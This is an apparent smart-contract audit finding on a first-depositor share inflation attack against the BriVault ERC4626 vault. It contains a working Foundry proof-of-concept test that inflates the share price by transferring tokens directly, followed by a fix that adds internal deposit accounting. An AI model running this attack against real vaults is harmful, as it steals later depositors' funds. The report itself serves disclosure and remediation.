Root + Impact
Description
Normal Behavior: When users deposit assets into the BriVault, the _convertToShares() function calculates how many BTT shares to mint based on the ratio of total shares to total vault assets. The first depositor receives shares at a 1:1 ratio (minus fees), and subsequent depositors receive shares proportional to their contribution relative to the existing vault balance.
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
return assets;
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}
Risk
Likelihood:
-
The attack can be executed immediately after contract deployment when totalSupply() == 0, requiring only the cost of a minimum deposit (0.001 ETH) plus gas fees.
-
No special permissions are required - any user can become the first depositor and execute this attack before legitimate users deposit.
Impact:
-
Victims receive essentially zero shares (due to integer division rounding down) despite depositing significant funds, resulting in complete loss of their deposits.
-
The attacker gains ownership of 99%+ of all shares with minimal investment, allowing them to withdraw nearly all vault assets when they win the tournament.
Proof of Concept
You can paste the below test inside the briVault.t.sol test suite.
function test_sharePriceManipulation_firstDepositorAttack() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
address attacker = makeAddr("attacker");
mockToken.mint(attacker, 1_000_001 ether);
vm.startPrank(attacker);
mockToken.approve(address(briVault), type(uint256).max);
uint256 minDeposit = 0.001 ether;
uint256 attackerShares = briVault.deposit(minDeposit, attacker);
console.log("Attacker shares received:", attackerShares);
console.log("Attacker cost:", minDeposit);
mockToken.transfer(address(briVault), 1_000_000 ether);
vm.stopPrank();
uint256 vaultBalance = mockToken.balanceOf(address(briVault));
console.log("Vault balance after direct transfer:", vaultBalance);
console.log("Total shares:", briVault.totalSupply());
address victim = makeAddr("victim");
mockToken.mint(victim, 100 ether);
vm.startPrank(victim);
mockToken.approve(address(briVault), type(uint256).max);
uint256 victimShares = briVault.deposit(100 ether, victim);
console.log("Victim shares received:", victimShares);
vm.stopPrank();
assertTrue(victimShares < 1 ether, "Victim receives negligible shares");
uint256 attackerSharePercent = (briVault.balanceOf(attacker) * 100) / briVault.totalSupply();
console.log("Attacker share percent:", attackerSharePercent);
assertTrue(attackerSharePercent > 50, "Attacker controls majority");
The test output confirms:
Attacker shares received: 985000000000000
Attacker cost: 1000000000000000
Vault balance after direct transfer: 1000000000985000000000000
Total shares: 985000000000000
Victim shares received: 97022499904
Attacker share percent: 99
Mitigation
Implement internal accounting to track legitimate deposits separately from direct transfers:
contract BriVault is ERC4626, Ownable {
+ uint256 internal totalDeposited; // Track only legitimate deposits
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply();
- if (totalShares == 0 || balanceOfVault == 0) {
+ if (totalShares == 0 || totalDeposited == 0) {
return assets;
}
- shares = Math.mulDiv(assets, totalShares, balanceOfVault);
+ shares = Math.mulDiv(assets, totalShares, totalDeposited);
}
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
+ totalDeposited += stakeAsset; // Track internally
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares);
emit deposited(receiver, stakeAsset);
return participantShares;
}
}